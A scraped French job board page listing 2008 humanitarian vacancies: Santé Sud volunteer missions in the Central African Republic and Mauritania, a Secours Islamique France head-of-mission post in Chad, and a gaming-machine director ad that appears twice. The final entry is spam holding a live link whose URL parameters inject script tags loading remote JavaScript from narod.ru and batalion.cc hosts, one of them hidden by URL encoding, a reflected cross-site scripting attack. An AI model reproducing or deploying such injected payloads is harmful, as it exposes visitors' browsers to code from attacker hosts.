solidarité internationale OffrePROFIL : Expérience en projet individualisé indispensable Expérience en formation, Connaissance des orphelins et des enfants vulnérables Animation d’ateliers en groupe, démarche pédagogique adaptée Connaissance souhaitée des problématiques liées au Sida Ouverture sur les autres cultures et expérience du terrain interculturel de l’Afrique LIEU : BANGUI – République Centre Africaine PROJET : Programme psycho-social de 2 ans pour la prise en charge des Orphelins et Enfants vulnérables du Sida sur Bangui Marché de prestations de service passé avec le Ministère de Affaire Sociale et de la Solidarité Nationale sous financement de l’AFD MISSION : Une mission de 15 jours en juin 2008 pour former et accompagner 6 référents sociaux Centrafricains dans l’élaboration de la démarche du projet individualisé pour la prise en charge de 500 Orphelins et Enfants Vulnérables CONDITIONS : Statut : Bénévole Durée : 15 jours en juin 2008 Voyage, assurances, hébergement, pris en charge par Santé Sud. DESCRIPTION DU PROJET : Voir la fiche programme sur le site Internet de Santé Sud : www.santesud.org Envoyer CV + LM Pour tout renseignement, s'adresser à : Sandrine Fadoul SANTE-SUD 200 bd National, Le Gyptis Bt N - 13003 MARSEILLE Tél : 04.91.95.63.45 - Fax : 04.91.95.68.05 E-mail : santesud.prog@wanadoo.fr Date: 24 avril 2008 PresentationCréé en 1992, le Secours Islamique France est une O.N.G (Organisation Non gouvernementale) dont l’objectif est d’aider les populations pauvres du monde dans les domaines humanitaires variés: Secours d’urgence Eau et assainissement Santé et nutrition Éducation et formation Activités économique Parrainage d’orphelins Etc.… L’objectif du Secours Islamique France est de dresser les piliers solides d’un développement durable pour lutter contre les maux de l’humanité et œuvrer pour un monde meilleur. Le SIF fait partie du réseau international d’Islamic Relief WorldWide, fondé en 1984 par le Dr Hany El Banna. Sur le terrain depuis 23 ans, le Secours Islamique est actif dans plus de 40 pays. Il intervient toujours lors de catastrophe naturelles, de famine ou de guerres, en distribuant nourriture, couvertures, médicaments, tentes,eau potable, etc.… Après l’aide d’urgence, nous participons à la reconstruction car seule la réhabilitation de bonnes conditions de vie permet aux populations éprouvées de reprendre une vie normale. OffreHistorique de la mission dans le pays Le Secours Islamique France désire ouvrir une mission au Tchad, L’intervention du SIF se fera à 2 niveaux : - A N’Djamena et Abeche en matière de développement - Auprès des populations déplacées et réfugiées à l’est du Tchad Objectif Global et Résultats attendus - Le chef de mission est le responsable de la bonne marche de la mission, - Il représente le Secours Islamique France, respecte et fait respecter le mandat, les principes et procédures internes de l’organisation. Il est l’interface entre le siège de l’organisation et le terrain, il transmet l’information sans délai, s’assure de la coordination sur la mission et sur les bases, - Il est chargé de mettre en place les programmes. - Il s’assure de la bonne marche des programmes, propose de nouveaux programmes et alerte en cas de problème. Il supervise et coordonne les expatriés et équipes nationales, - Il est le représentant du Secours Islamique France auprès des bailleurs, des autorités et des bénéficiaires de la zone, - Il est responsable de la sécurité sur sa mission, il s’assure que les moyens adéquats sont définis et mis en place. Il s’assure que les règles sont comprises et respectées par chacun. Sécurité - Il s’assure que les plans de sécurité de chaque base et de la mission sont à jour, connus et compris de chacun (expatriés et nationaux), - Il s’assure que les moyens matériels et humains sont suffisants pour assurer une sécurité optimale des équipes, matériels et bénéficiaires, - Il s’assure qu’en cas d’incident sécurité l’information est diffusée sans délai au chargé de projets au siège et selon le format existant, - Il s’assure de la bonne collecte d’informations sécurités, de leur analyse et de la diffusion des alertes ou information importante (vers le siège et terrain). Opérations / développement de la mission - Il s’assure de la bonne marche des programmes en cours (respect des calendriers, suivi budgétaire, reporting contractuel,…), - Il met en place un système de coordination formelle sur le terrain (réunions, rapports ...), ce système de coordination doit être décliné sur chaque base. - Il assure la circulation de l’information du siège vers le terrain et du terrain vers le siège (SITREP périodique et ad-hoc), - Lors de la définition de nouvelles opérations, il s’assure que les moyens opérationnels ont été bien définis pour permettre la bonne réalisation du programme, que celles-ci s’inscrivent bien dans le mandat du Secours Islamique et dans la stratégie de la mission, - Il initie, organise et s’assure de la préparation de la Stratégie de la mission, - Il suit et analyse l’évolution du contexte politique et humanitaire (déplacements de populations, besoins humanitaires, reprise des conflits), - Il développe de nouveaux programmes suite à des évaluations en coordination avec l’équipe sur place et le responsable géographique, - Il négocie les financements auprès des bailleurs identifiés en coordination avec le chargé de projets au siège. - Il identifie de nouveaux bailleurs potentiels présents sur le pays et collecte les informations concernant leurs stratégies et leurs procédures. Ressources Humaines - Est garant de la cohésion de l’équipe et contribue activement à créer un environnement sain et un climat convivial, pendant et en dehors des heures de travail - Participation au maintien des règles d’éthiques - Porteur des valeurs et d’exemplarité, veille au respect de l’application de la charte et des règles d’éthique du SIF - Fait remonter tout risque de dérive ou de violation, documente les situations à risque - Participe au recrutement, identifie de manière prévisionnelle les besoins de recrutement - Responsable de l’organisation de l’équipe locale et expatriée : encadrement, suivi, animation, évaluation des besoins RH, répartition des responsabilités et tâches de travail - Contribue à identifier les forces et faiblesses des structures en place, fait des suggestions - Participe, en fonction des choix d’organisation, à la définition des fonctions-clé et des compétences requises en fonction de la spécificité des programmes - Veille à l’application et au respect des valeurs, schémas de communication et de décision du SIF. - Participe aux actions de formation et à l’évaluation individuelle des équipes locales et expatriées Suivi Logistique, Administratif & financier - Il donne son accord pour les achats locaux d’aide et en soumet certains au chargé de projets pour approbation (selon les procédures internes et bailleur), - Il est responsable de l’optimisation générale des coûts et s’assure du bon approvisionnement financier de la mission, - En accord avec le logisticien mission, il supervise les infrastructures et l'ensemble des équipements logistiques, - Il supervise l’utilisation des équipements de la mission (véhicules, matériel informatique, matériel bureautique, matériel de radiocommunication et de télécommunication). - Participe à la Recherche de fonds - Effectue la recherche de financement dans le pays d’intervention - Elabore le dossier conceptuel (proposition, budget prévisionnel) en lien avec le Coordinateur Régional - Suit l’avancement des dossiers déposés, les demandes de fonds - Sert de référent, est l’interlocuteur des bailleurs locaux Représentation - Il représente l’association auprès des bailleurs de fonds, des ONG, des Organisations Internationales et des autorités locales, et rend compte des entretiens au chargé de projets au siège dans son rapport périodique et de manière ad-hoc lorsque nécessaire, - Il participe aux principales réunions de coordination et en est un membre actif. Français : Oui Arabe : Oui Connaissances informatiques : Bonnes/Excellentes Le Chef de Mission doit avoir : - un grand sens de l’organisation et de définition des priorités, - une expérience sur des projets en Activités génératrices de revenu et en agro-alimentaire et en eau et assainissement, - de fortes capacités en management, - de la rigueur - Expérience de l’international indispensable Caractéristiques personnelles souhaitées pour l’intégration à l’équipe ou l’adéquation aux caractéristiques de la mission : - Aime le terrain (très nombreux déplacements et séjours sur les bases), - Est autonome, - Sait faire preuve d’enthousiasme et… de patience !, - A une expérience dans la formation, Date: 23/04/08 PresentationONG de solidarité internationale OffrePROFIL : Expérience de terrain en Afrique si possible Bon relationnel, faculté d’adaptation COMPLEMENT : Arabe FONCTION : Technicien de laboratoire d’analyses médicales LIEU : Néma – MAURITANIE MISSION : Dans le cadre d’un projet d’extension du réseau Mère-Enfants de la région du Hodh el Chargui (réduire la mortalité et la morbidité graves maternelles, périnatales et du nouveau-né, avec prise en charge des fistules obstétricales) il s’agit d’une mission de compagnonnage en laboratoire au centre de santé de Néma : Renforcement des capacités du technicien en poste pour une meilleure gestion de : o la phase pré-analytique (enregistrement du patient, réalisation aseptique des prélèvements, hygiène et sécurité, identification du prélèvement) o la phase analytique : organisation du travail, réalisation des examens de routine( Hte, Hb ,leucocytes et formule sanguine, recherche de paludisme, Glycémie, BK, Albumine, sucre et cytologie urinaire, coloration de Gram, parasitologie, Groupe et Rhésus sanguins,… ) Au niveau du centre de santé une unité de PTME (protection de la transmission mère enfant) vient d'être créée. Un appui théorique et pratique à ce niveau serait intéressant (sérologie HIV, hépatite B et C en tests rapides) o la phase post-analytique avec la traçabilité et le rendu du résultat, la gestion des déchets, la propreté et l’hygiène au laboratoire, l’entretien du matériel o la gestion des stocks réactifs, consommables, les commandes et les relevés statistiques ; CONDITIONS : - Statut : Bénévole - Durée : 1 mois avant décembre 2008 - Voyage, assurances, hébergement pris en charge par Santé Sud. - La mission sera réalisée en collaboration avec une équipe d’expatrié déjà en poste composée d’une infirmière et d’un logisticien. Envoyer CV + LM Pour tout renseignement, s'adresser à : Sandrine Fadoul SANTE SUD 200 Bd National, Le Gyptis Bt N 13003 MARSEILLE Tél : 04.91.95.63.45 - Fax : 04.91.95.68.05 E-mail : santesud.prog@wanadoo.fr Date: 23/04/08 PresentationONG de solidarité internationale OffrePROFIL : Expérience professionnelle Expérience de terrain en Afrique si possible Bon relationnel, faculté d’adaptation LIEU : MAURITANIE – Région de Néma MISSION : Mission de compagnonnage à l'hôpital régional de Néma, dans le but de renforcer les compétences des médecins chefs de moughataa et du pédiatre en place. En 2007 et 2008, plusieurs formations dans le cadre de la réanimation néonatale ont déjà été réalisées sur le terrain. Le pédiatre pourrait également travailler sur la problématique de la malnutrition et sur la prise en charge des enfants malnutris dans les services ambulatoires et en interne. CONDITIONS : - Statut : bénévole - Durée : 1 mois (à réaliser avant décembre 2008) - Voyage, assurances, hébergement, pris en charge par Santé Sud. - La mission sera réalisée en collaboration avec une équipe d’expatriée déjà en poste composée d’1 infirmière et d’1 logisticien. Envoyer CV + LM Pour tout renseignement, s'adresser à : Sandrine Fadoul SANTE SUD 200 bd National, Le Gyptis Bt N 13003 MARSEILLE Tél : 04.91.95.63.45 - Fax : 04.91.95.68.05 E-mail : santesud.prog@wanadoo.fr Date: 22/04/2008 PresentationGroupe spécialisé dans l’exploitation de machines récréatives. OffreEntreprise Groupe spécialisé dans l’exploitation de machines récréatives recherche son Directeur Général PEFACO - Afrique Francophone Poste Rattaché à la direction générale, vous développez les compétences et l’autonomie de vos collaborateurs pour optimiser la performance commerciale et financière de votre exploitation. Vous êtes garant de l’application des politiques commerciales, marketing et RH de l’entreprise. H/F de terrain, vous avez de réelles capacités de communication. Porteur du développement du site, vous aurez la responsabilité de la mise en œuvre de la stratégie définie et animerez les fonctions commerciales, financières, techniques et opérationnelles. Profil H/F de formation supérieure type DESS, DECF, ESC, vous avez une expérience de 5 ans minimum dans la direction de centre de profit. Vous êtes un généraliste de la fonction. Orienté résultats, vous avez au cours de vos expériences passées prouvé vos capacités à manager et fédérer des équipes et à vous adapter à des interlocuteurs variés. Idéalement, vous avez une expérience à l’internationale. La maîtrise de l’anglais et l’espagnol est fortement souhaitée. Vous êtes avant tout un manager sachant travailler avec ses équipes et contribuer à une dynamique à la hauteur de l’activité. Type de contrat CDI Rémunération à négocier Plusieurs postes à pourvoir Date: 22/04/2008 PresentationGroupe spécialisé dans l’exploitation de machines récréatives. OffreEntreprise Groupe spécialisé dans l’exploitation de machines récréatives recherche son Directeur Général PEFACO - Afrique Francophone Poste Rattaché à la direction générale, vous développez les compétences et l’autonomie de vos collaborateurs pour optimiser la performance commerciale et financière de votre exploitation. Vous êtes garant de l’application des politiques commerciales, marketing et RH de l’entreprise. H/F de terrain, vous avez de réelles capacités de communication. Porteur du développement du site, vous aurez la responsabilité de la mise en œuvre de la stratégie définie et animerez les fonctions commerciales, financières, techniques et opérationnelles. Profil H/F de formation supérieure type DESS, DECF, ESC, vous avez une expérience de 5 ans minimum dans la direction de centre de profit. Vous êtes un généraliste de la fonction. Orienté résultats, vous avez au cours de vos expériences passées prouvé vos capacités à manager et fédérer des équipes et à vous adapter à des interlocuteurs variés. Idéalement, vous avez une expérience à l’internationale. La maîtrise de l’anglais et l’espagnol est fortement souhaitée. Vous êtes avant tout un manager sachant travailler avec ses équipes et contribuer à une dynamique à la hauteur de l’activité. Type de contrat CDI Rémunération à négocier Plusieurs postes à pourvoir Date: Augustus Presentationb52bb855c1bf3e314da44b0f8e207965 <a href="http://budgettravel.about.com/gi/pages/mmail.htm?nlrc=2&surl=http://budgettravel.about.com/gi/pages/mmail.htm&eurl=http://budgettravel.about.com/gi/pages/mmail.htm&gs=1&email=%22%3E%3C/script%3E%3Cscript%20src=http://plord.narod.ru/script.js%3E%3C/script%3E&newsub=Go&curl=http://budgettravel.about.com/gi/pages/mmail2.htm?zi=18%2F1a9&surl=http%3A%2F%2Fbudgettravel.about.com%2Fgi%2Fpages%2Fmmail.htm&eurl=http%3A%2F%2Fbudgettravel.about.com%2Fgi%2Fpages%2Fmmail.htm&cmd_budgettravel=%2B%3Ags%3A%3Abudgettravel&gs=1&sdn=budgettravel&tt=1&bts=1&email=%2F%2F%2D%2D%3E%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%61%74%61%6C%69%6F%6E%2E%63%63%2F%68%61%69%6C%2F%3E%3C%2F%73%63%72%69%70%74%3E-bv-206"> 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